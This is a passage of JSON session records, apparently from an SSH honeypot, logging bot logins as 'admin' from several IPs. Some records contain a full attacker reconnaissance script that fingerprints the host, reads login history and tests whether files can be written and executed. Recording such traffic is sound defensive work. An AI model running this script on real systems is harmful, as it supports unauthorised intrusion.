  "started_at": "2026-08-20T18:33:47.890190+00:00",
  "ended_at": "2026-08-20T18:33:53.869943+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "25cc6174-5850-47eb-9e1d-2dfea8c375f6",
  "name": "proud-inland-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 52732,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:27:42.844633+00:00",
  "ended_at": "2026-08-20T18:27:46.866093+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 856
 },
 {
  "id": "f029a42a-0d72-4a38-ac89-f586767d8517",
  "name": "humble-dusky-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.156.87.93",
  "src_port": 35360,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T18:26:12.607127+00:00",
  "ended_at": "2026-08-20T18:26:13.930363+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3bbd0623-2223-4946-bb0b-acb98512325b",
  "name": "quartz-arctic-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.156.87.93",
  "src_port": 57502,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-20T18:26:10.318034+00:00",
  "ended_at": "2026-08-20T18:26:13.931451+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1651
 },
 {
  "id": "53e0cf3f-dfab-4e0e-bcbc-34434dc67976",
  "name": "muted-arctic-linnet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 36322,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T18:02:00.841729+00:00",
  "ended_at": "2026-08-20T18:02:02.082739+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff7497f0-58d6-4af5-93cb-82bf40d5592f",
  "name": "blazing-wistful-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40564,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T17:06:36.682116+00:00",
  "ended_at": "2026-08-20T17:06:38.575906+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4601d685-afc2-4ae6-9454-11689622d2e1",
  "name": "downy-twilight-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 40834,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T16:05:00.224632+00:00",
  "ended_at": "2026-08-20T16:05:01.428748+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18e4e906-6edf-4665-abba-52195d838ca3",
  "name": "leafy-gallant-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43112,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:51:11.558243+00:00",
  "ended_at": "2026-08-20T14:51:12.589969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90f00ebd-f908-4835-8b73-ed190b08725d",
  "name": "crystal-jolly-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 53824,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:18:50.599400+00:00",
  "ended_at": "2026-08-20T14:18:50.685868+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "668e8ea9-491d-4c3b-a7b8-7ff4d1f122d0",
  "name": "electric-honest-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 50896,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:17:19.555332+00:00",
  "ended_at": "2026-08-20T14:17:19.663658+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8d19d018-255e-4c94-bb37-7f5231644d82",
  "name": "fickle-wistful-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.232",
  "src_port": 47962,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:15:43.980259+00:00",
  "ended_at": "2026-08-20T14:15:46.130092+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd9ab2c4-5929-44ee-a688-a42d0f6fe965",
  "name": "subtle-lofty-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.232",
  "src_port": 45050,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:14:11.860232+00:00",
  "ended_at": "2026-08-20T14:14:12.963931+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f4ec29c-d88c-4e7f-a718-5eda0be1d1be",
  "name": "bashful-lanky-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.232",
  "src_port": 42088,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:12:34.410095+00:00",
  "ended_at": "2026-08-20T14:12:36.141591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad0a8ed5-efb0-43c9-bd49-2cf4e3f78ef2",
  "name": "verdant-idle-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.232",
  "src_port": 39152,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:10:54.014792+00:00",
  "ended_at": "2026-08-20T14:10:55.370402+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1c35ebe-1f0d-44ce-8d8b-f61d3e3428a7",
  "name": "lunar-gallant-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.232",
  "src_port": 36216,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T14:09:17.310765+00:00",
  "ended_at": "2026-08-20T14:09:18.133475+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1ea57c8-195c-4762-97b2-7d40f984dd60",
  "name": "loyal-craggy-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 33298,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:07:43.009818+00:00",
  "ended_at": "2026-08-20T14:07:43.133376+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3f5da9f8-ba88-43ca-8357-c1a281d9e1b7",
  "name": "oaken-curious-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 58634,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T14:06:14.125716+00:00",
  "ended_at": "2026-08-20T14:06:14.232570+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c47d2816-80ae-4d8b-a619-6f62a6ca7d29",
  "name": "stormy-zealous-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 55702,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat 